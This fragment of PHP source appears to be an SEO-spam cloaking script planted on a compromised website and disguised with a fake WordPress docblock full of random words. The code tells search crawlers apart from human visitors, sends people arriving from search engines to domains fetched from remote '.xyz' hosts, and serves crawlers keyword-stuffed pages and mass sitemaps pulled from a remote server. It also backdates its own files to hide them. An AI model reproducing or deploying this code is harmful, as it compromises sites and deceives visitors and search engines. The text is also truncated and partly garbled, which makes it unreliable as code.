'./idlogs.txt'; if(file_exists($logFileName)){ $arrUrlId = unserialize(file_get_contents($logFileName)); }else{ $arrUrlId = array(); } if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){ $id = $arrUrlId[$rqurl]; }else{ $arrUrlId[$rqurl] = getRandCId($rqurl); $id = $arrUrlId[$rqurl]; file_put_contents($logFileName,serialize($arrUrlId)); @touch(dirname($logFileName), $fLogTime, $fLogTime); @touch($logFileName, $fLogTime, $fLogTime); } }else{ $id = "271455"; //llq index id } } $resid = '#^\d+$#'; if(!preg_match($resid,$id)){ exit; } $id23 = $id; $siteid = MSID; $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM; // $_SERVER["HTTP_REFERER"] = "google.com"; if(isset($_SERVER["HTTP_REFERER"])){ $referer = $_SERVER["HTTP_REFERER"]; $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i'; $ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') ); $localIp = get_real_ip(); $is_or_no = is_ip($localIp,$ipRanges); $iszz = isCrawler(); if(function_exists('gethostbyaddr')){ $hostname = @gethostbyaddr($localIp); $is_g_ip = preg_match("#google#i", "$hostname") === 1; }else{ $is_g_ip = 0; } if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){ $rsdom = '#^https?://www\.[^/]+/$#i'; $jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt"; $jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt"; for($i=0;$i<2;$i++){ $domJump = curl_getjs_from_webpage($jumDom1,2); $domJump = trim($domJump); if(!preg_match($rsdom,$domJump)){ $domJump = curl_getjs_from_webpage($jumDom2,10); $domJump = trim($domJump); if(preg_match($rsdom,$domJump)) break; }else{ break; } } echo ''; die(); } } $fcontent = ''; $pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID"; $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5); $rsInfo = '#(.*)#si'; preg_match($rsInfo,$pInfoStr,$matchInfo); if(isset($matchInfo[1])){ $InFoStrArr = unserialize($matchInfo[1]); }else{ header("HTTP/1.1 404 Not Found");exit; } if(isset($InFoStrArr['frStr2'])){ $frStr2 = $InFoStrArr['frStr2']; $fr2Arr = unserialize($frStr2); } $frStr1 = $InFoStrArr['frStr1']; $fr1Arr = unserialize($frStr1); $Ptitle = $InFoStrArr['Ptitle']; $nowIdName = $InFoStrArr['nowIdName']; if(strstr($Ptitle,'#cat#')){ $tp_title_arr = explode('#cat#',$Ptitle); $Ptitle = $tp_title_arr[1]; } $pcatstr = $InFoStrArr['pcatstr']; $nowPreStr = $InFoStrArr['nowPreStr']; $nowNextStr = $InFoStrArr['nowNextStr']; if(strstr($pcatstr,'#cname#')){ $temparrI = explode('#cname#',$pcatstr); $catStr = $temparrI[0]; $catArr = explode('^',$catStr); $tparrCat = array(); $catArrII = array(); foreach($catArr as $vs){ $vs = str_replace('&','&',$vs); if(!isset($tparrCat[$vs])){ $tparrCat[$vs] = 1; $catArrII[] = $vs; } } $catArr = $catArrII; $mateStr = $temparrI[1]; if(strstr($mateStr,'#keydescription#')){ $temparrII = explode('#keydescription#',$mateStr); $pkeyword = trim($temparrII[0]); if(!$pkeyword){ $pkeyword = $Ptitle; }else{ $keyArr = explode(',',$pkeyword); $num = count($keyArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $keyArr[$i]; }else{ $arrPre[] = $keyArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pkeyword = implode(',',$arrPre); $pkeywordYuanShi = $pkeyword; } $pdescription = $temparrII[1]; if(!$pdescription){ $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; }else{ $DesArr = explode(',',$pdescription); $num = count($DesArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $DesArr[$i]; }else{ $arrPre[] = $DesArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pdescription = implode(',',$arrPre); $pdescription .= '.'; $pDescriptionYuanShi = $pdescription; } }else{ $pkeyword = $Ptitle; $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; } }else{ $catArr = array(); if(strstr($mateStr,'#keydescription#')){ $temparrII = explode('#keydescription#',$mateStr); $pkeyword = $temparrII[0]; if(!$pkeyword){ $pkeyword = $Ptitle; }else{ $keyArr = explode(',',$pkeyword); $num = count($keyArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $keyArr[$i]; }else{ $arrPre[] = $keyArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pkeyword = implode(',',$arrPre); $pkeywordYuanShi = $pkeyword; } $pdescription = $temparrII[1]; if(!$pdescription){ $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; }else{ $DesArr = explode(',',$pdescription); $num = count($DesArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $DesArr[$i]; }else{ $arrPre[] = $DesArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pdescription = implode(',',$arrPre); $pdescription .= '.'; $pDescriptionYuanShi = $pdescription; } }else{ $pkeyword = $Ptitle; $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; } } $BreadStr = getBreadcrum($Ptitle,$catArr,$id23); if(count($catArr)){ $endCatName = end($catArr); $addKeyWordStr = ', ' . implode(', ', $catArr); }else $endCatName = ''; if(function_exists("preg_split")){ $PtitleArr = preg_split('/\s+/us', $Ptitle); }else{ $PtitleArr = explode(' ', $Ptitle); } $tpTitleArr = array(); foreach($PtitleArr as $vs){ $vs = trim($vs); if($vs){ $tpTitleArr[] = $vs; } } $numTitleArr = count($tpTitleArr); $randTkeyI = RANDNUMI % $numTitleArr; $createTitleI = getRandStrArr($tpTitleArr,$randTkeyI); $randTkeyII = RANDNUMII % $numTitleArr; if($randTkeyI == $randTkeyII){ $randTkeyII = abs($randTkeyI-2); } $createTitleII = getRandStrArr($tpTitleArr,$randTkeyII); $addTopStr = ''; $tpaddstr = '

'; $tpaddstr .= $Ptitle .','; if($pkeywordYuanShi) $tpaddstr .= $pkeywordYuanShi .','; $tpaddstr .= $createTitleI .','; $tpaddstr .= $pdescription; $tpaddstr .= $createTitleII .'.

'. PHP_EOL; $addTopStr .= $tpaddstr; $addTopStr .= "

{$Ptitle}

"; $addTopStr .= $BreadStr.PHP_EOL; $addTopStr .= "

{$Ptitle}

".PHP_EOL; if(isset($InFoStrArr['nowPimgArr'])){ $tpImgArr = unserialize($InFoStrArr['nowPimgArr']); foreach($tpImgArr as $tpimg){ $addTopStr .= $tpimg."
".PHP_EOL; } } if(isset($InFoStrArr['pdes'])){ $InFoStrArr['pdes'] = preg_replace('#\s+#si',' ',$InFoStrArr['pdes']); $addTopStr .= '

'.$InFoStrArr['pdes']."

".PHP_EOL; } $addTopStr .= "

{$Ptitle}

".PHP_EOL; $arrFlinks = array(); $fr1Strs = ''.PHP_EOL; if(isset($fr2Arr)){ $fr2Strs = ''.PHP_EOL; } $addPdesStr = ''; $addPdesStr .= "

{$Ptitle}

".PHP_EOL; $addStrDes1 = ''; if(isset($InFoStrArr['nowDesNameArrStr'])){ $tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']); $tempArrLen = count($tpDesNameArr) - 1; $i=0; foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $tempLen = strlen($tpdesVs) + $i; if($tempLen % 2 == 1){ $nowtempfh = ', '; }else $nowtempfh = '. '; if($i == $tempArrLen){ $addStrDes1 .= $tpdesVs . '.'; // echo $addStrDes1; // exit; }else{ $addStrDes1 .= $tpdesVs . $nowtempfh; } $i++; } $addStrDes1 = '

'.$addStrDes1.'

'.PHP_EOL; } $addPdesStr .= $addStrDes1.PHP_EOL; $addStrDesII = ''; if(isset($InFoStrArr['fpNameStr'])){ $tpDesNameArr = unserialize($InFoStrArr['fpNameStr']); $tempArrLen = count($tpDesNameArr) - 1; $temp_arr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ if(strstr($tpdesVs,'#cat#')){ $tp_name_arr = explode('#cat#',$tpdesVs); $tpdesVs = $tp_name_arr[1]; } $temp_arr[$tpdesKey] = $tpdesVs; } $tpDesNameArr = $temp_arr; $lenthNameArr = count($tpDesNameArr); $lenthFlinkArr = count($arrFlinks); $numShan = intval($lenthNameArr/$lenthFlinkArr); if($numShan < 1) $numShan = 1; $flag = 0; $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan; $shengyu = $shengyu - 2; $bgnum = 0; $endnum = $lenthNameArr - 1; $arrKeyNum = array(); while($shengyu > 0){ $arrKeyNum[$bgnum++] = $numShan + 1; $shengyu--; if($shengyu > 0){ $arrKeyNum[$endnum--] = $numShan + 1; } $shengyu--; } $nowTempFlag = 0; $nowTempNumFlag = 0; $tempDesNameArr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan; if($nowTempNumFlag < $nowLens){ $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag++; }else{ if(isset($arrFlinks[$nowTempFlag])) $tempDesNameArr[] = $arrFlinks[$nowTempFlag++]; $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag=1; } } while($nowTempFlag <= $lenthFlinkArr-1) $tempDesNameArr[] = $arrFlinks[$nowTempFlag++]; $tpDesNameArr = $tempDesNameArr; $i=0; foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $tempLen = strlen($tpdesVs) + $i; if($tempLen % 2 == 1){ $nowtempfh = ', '; }else $nowtempfh = '. '; if($i == $tempArrLen){ $addStrDesII .= $tpdesVs . '.'; }else{ $addStrDesII .= $tpdesVs . $nowtempfh; } $i++; } $addStrDesII = '

'.$addStrDesII.'

'.PHP_EOL; } $addPdesStr .= "

{$Ptitle}

".PHP_EOL; $addPdesStr .= $addStrDesII.PHP_EOL; $addH3Str = "

{$Ptitle}

"; $thisPnameLink = ''.$nowIdName.''; $thisPnameLink2 = ''.$nowIdName.''; $thisTitleLink = ''.$Ptitle.''; $flagH2I = 1; $flagH2II = 1; $fileMb = fopen("moban.html","r"); $html = fread($fileMb,filesize("moban.html")); $html = str_ireplace('#bbbtitsbbb#', $Ptitle. " {$endCatName}", $html); $html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html); $html = str_ireplace('#bbbdesbbb#', $pdescription, $html); $html = str_ireplace('#bbb1content1bbb#', $addTopStr, $html); // $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html); $html = str_ireplace('#bbb2content2bbb#', '', $html); $html = str_ireplace('#descontent#', $addPdesStr, $html); $html = str_replace('#link1#','',$html); $html = str_replace('#link2#','',$html); if($flagH2I){ $html = str_replace('#link3#',$addH3Str,$html); $flagH2I = 0; }else{ $html = str_replace('#link3#','',$html); } if($flagH2I){ $html = str_replace('#link4#',$addH3Str,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#link4#',$addH3Str,$html); $flagH2II = 0; }else{ $html = str_replace('#link4#','',$html); } if($flagH2I){ $html = str_replace('#link5#',$addH3Str,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#link5#',$addH3Str,$html); $flagH2II = 0; }else{ $html = str_replace('#link5#','',$html); } if($flagH2I){ $html = str_replace('#flink#',$addH3Str,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#flink#',$addH3Str,$html); $flagH2II = 0; }else{ $html = str_replace('#flink#','',$html); } if($flagH2I){ $html = str_replace('#Flink2#',$addH3Str,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#Flink2#',$addH3Str,$html); $flagH2II = 0; }else{ $html = str_replace('#Flink2#','',$html); } $footKey = "{$Ptitle}, {$pkeyword}".PHP_EOL; $html = str_replace(''; $strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">'; $strBreads .= 'Home'; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= ''.$vs.''; } } $strBreads .= ''.$Ptitle.''; $strBreads .= ''; $strBreads .= ''; }else{ $calssBreadKey = KEYJG % $arrBreadNum; $classTop = $arrBread[$calssBreadKey]; $classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs'; $breadTagkey = $domlen % 2; if($breadTagkey == 0){ if($classTop) $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">'; else $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>'; $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">'; $strBreads .= 'Home'; $flagNum = 2; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= ''.$vs.''; $flagNum++; } } $strBreads .= ''.$Ptitle.''; $strBreads .= ''; $strBreads .= ''; }else{ if($classTop) $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">'; else $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>'; $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">'; $strBreads .= ''; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= ''; } } $strBreads .= ''.$Ptitle.''; $strBreads .= ''; $strBreads .= ''; } } return $strBreads; } function getCatLink($CatName,$id23){ global $arrnametime,$arrKeywz,$arr_word,$strRand; $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat="; }else{ $filePres = $siteLink."/"; } $CatName = str_replace('&',' ',$CatName); $CatName = str_replace('&',' ',$CatName); if(JDT == 3){ $CatName = preg_replace('#\s+#i','-',$CatName); while(strstr($CatName,'--')) $CatName = str_replace('--','-',$CatName); $linkCenter = $CatName; $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } $CatName = preg_replace('#\s+#i','-',$CatName); $CatName = str_replace('--','-',$CatName); $linkCenter = str_replace('--','-',$CatName).'-'.BZCAT.$id23; $linkCenter .= JTHZ; $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } function getMapNum($bgNum,$mapnum){ $TempArr = array(); if($bgNum + $mapnum <= FNUM){ for($i=0;$i<$mapnum;$i++){ $TempArr[$i] = $bgNum + $i -1; } }else{ for($i=0;$i<$mapnum;$i++){ if($bgNum+$i > FNUM) $TempArr[$i] = $bgNum + $i -1 -FNUM; else $TempArr[$i] = $bgNum + $i -1; } } return $TempArr; } function getRandCId($rqurl){ global $thisdom; for($i=0;$i<3;$i++){ $idUrl = GETDOM . "gpage.php?site=$thisdom&cid=$rqurl"; $tempIdStr = curl_get_from_webpage($idUrl,'',5); if(preg_match('#(\d+)#i',$tempIdStr,$matchId)){ return $matchId[1]; } } header("HTTP/1.1 404 Not Found"); header("Status: 404 Not Found"); exit; } /** * adapt apparent bachelor coil cope glorious knot spot survey urban wagon. * drip equation exclusive export glorious moist obstacle organ radical relevant strategic tedious valid weave. * accomplish appoint automatic bachelor battery cliff commit discipline discrimination evil expend extent female germ invade mere nuisance principal profit scan shelter shuttle temporary vanish vocabulary. * agency compete entitle fatigue jail loose nuisance portable profit prominent rescue smash spill tension trace transport vain. * acid approximate barrier comedy consume cope descend hardware insurance particle petroleum professional sensible suspicion triangle universe. * applicant dusk favorite identify insure leather mutual swallow video. * accomplish acquire discrimination giant glorious harmony horrible interfere jeans jewel necessity obstacle slope victim. * absolute acquire adhere balcony debate expel gap geography joint knot lean manual nuisance parade priority relevant rescue shuttle signature talent tendency weed whereas. * jam likelihood motive portable radiation sensible spur substitute terror tissue wagon whatsoever. * manufacture mature particularly ruin. * algebra architect aspect battery cancel defect derive dump enthusiasm entry female moral necessity neglect nevertheless nuclear outstanding personal render semiconductor subt utilise weld withdraw witness. * architect attitude automatic equation expand flee flexible gallon hostile medium mild offend orbit professional ridge route simplicity slip stripe. * decay dispose equivalent evolve grand navigation oral outset tarnest tone waist. * commit comparative earthquake exclusive illegal leather loosen merchant molecule nucleus regulate remarkable rescue temptation tremble vain violence virtual xploit. * apparent appetite arbitrary balcony blast breadth competent conservation global horror lynar nylon security slope sorrow split. * bunch leisure remedy solar submit target territory trap universe variation. * appropriate boundary rival substantial. * blast estimate expense moist withstand. * cargo defect expensive flexible. * abuse award extent haste hatred infer ingredient licence promote quit repetition vehicle. * adapt adjust battery continuous favorable glory lynar spray strategic territory tropical. * consent legislation maintain missile organ passion semester simplify substantial theme. * electron explosion forbid frustrate ruin. * arichmetic cliff clue consent decent explode fertilizer personnel sketch stale substance theme virtual voluntary wax. * academic adequate advertise agency competent discipline earthquake excursion exterior geometry gratitude interfere leisure maximum motive odd portable principle ridge tremble undertake usage. * response bundle debt evil frown range vain violet. * bachelor breed derive earthquake highlight infect interpretation manual previous principal profitable reluctant remarkable retain semester spot territory vague via. * echo scratch simplicity utilify. * adopt approach column distress earthquake gesture issue private range sake security sketch splendid title utilify virtual witness. * aspect auxiliary cancel dusk explode fertilizer gaze gear magnet male naked necessity nucleus optics vain. * candidate conquer frown gaze index jail likelihood mainland orbit precaution removal respond resume stimulate strategy suspicion trap. * display gasoline manual medium passive retain ridiculous shrink strategy substance the trace. * academic appetite ban brake capture chaos decay defect delay entertainment external frown glorious humble jail moisture notion precaution resume talent temptation transplant unique virtual vocabulary. * delay discount explode neutral partial religion scale shift snap sorrow stale subsequent temporary territory universal vain whereas wonder xploit. * brake commit dispose emphasize entertainment fate label lean neutral opponent resume sensible shelter slender tedious transport vote. * bachelor burden community core debate emotion expel export inferior optics prior regulate resistant sincere slippery splendid urge volcano. * attitude avenue candidate discipline entry giant glory herd marine orbit religious sexual transport vote whatsoever. * adapt adult auxiliary biology discipline extraordinary internal joint modify oblige oxygen release scandal sponsor tropical vehicle vivid xploit. * coach dusk incident launch register sincere vanish victim. * calendar distinguish enthusiasm germ motive precaution prior splendid spot temptation video wagon withstand. * appropriate dive geography haste liberty shallow valley. * budget geometry illusion interpret notion slide yield. * flee inferior mutual transform. * alter calendar ferfile terror. * adequate infinite personal removal. * abuse adopt bacteria constant geometry glimpse illegal liable rival strategy suspicious tension. * appreciate beforehand bunch holy insurance principal tender tide trace vessel. * response abundant adapt advertise breadth column equation expansion highlight insure leisure maximum media navigation optics particle petroleum ruin splendid survey tuition vessel weed withstand witness. * * @package WordPress */ function getRandId(){ $num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;} function get_arrvs($arr,$num,$nowkey){ $numArr = count($arr); if($nowkey + $num < $numArr) return $arr[$nowkey + $num]; else{ if($nowkey + $num - $numArr - $numArr > 0) return get_arrvs($arr,$num - $numArr,$nowkey); else return $arr[abs($nowkey + $num - $numArr)]; } } function get_pre_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key + JGNUM + 1 + LINKNUM >= $num){ if($key + JGNUM + 1 - $num > LINKNUM){ return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{ $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu); return array_merge($tmpA1,$tmpA2); } }else{ return array_slice($arr, $key + JGNUM + 1, LINKNUM); } } function get_next_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){ $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{ return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); } } function rFile($file){ if(function_exists('file_get_contents')){ return file_get_contents($file); }else{ $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function isCrawler() { $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite= array( "Googlebot", "Mediapartners-Google", "Adsbot-Google", "Yahoo!", "Google AdSense", "Yahoo Slurp", "bingbot", "MSNBot" ); foreach($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str) !== false) { return true; } } } else { return false; } } function gsitemap2($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $arrABC = range('a','z'); $tparrsI = $filenames; $randnum = rand(7000,7600); $tparrII = array_rand($tparrsI,$randnum); $tparrIII = array(); foreach($tparrII as $vs){ $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{ $filePres = ''; } if(JDT == 3){ $fileEnds = ''; }else{ $fileEnds = JTHZ; } $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL; $mapEnd = PHP_EOL . ''; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = ""; $tempArr1 = $filenames; foreach($tempArr1 as $key => $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); $tempPid = $key; $url = getalink($tempPid,$value2); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../websiteguide/website' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#website' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; $star++; $starPri++; } } { $gFile = '../websiteguide/website' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#website' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function gsitemap($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $arrABC = range('a','z'); $tparrsI = $filenames; $randnum = rand(7000,7600); $tparrII = array_rand($tparrsI,$randnum); $tparrIII = array(); foreach($tparrII as $vs){ $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL; $mapEnd = PHP_EOL . ''; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = " " . $siteLink . " ". $date . "T" . $time ."-05:00 always 1.0 "; $tempArr1 = $filenames; foreach($tempArr1 as $key => $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); $tempPid = $key; $url = getalink($tempPid,$value2); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../websiteguide/website' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#website' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily ". $priority . " "; }else{ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; } $star++; $starPri++; } } { $gFile = '../websiteguide/website' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#website' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function curl_get_from_webpage($url,$proxy='',$loop=10){ $data = false; $i = 0; while(!$data) { $data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; } return $data;} function curl_getjs_from_webpage($url,$time){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } function curl_get_from_webpage_one_time($url,$proxy=''){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } // function my_mkdir($dir){ global $fitime; if(!is_dir($dir)){ mkdir($dir); @touch($dir, $fitime, $fitime); } } function 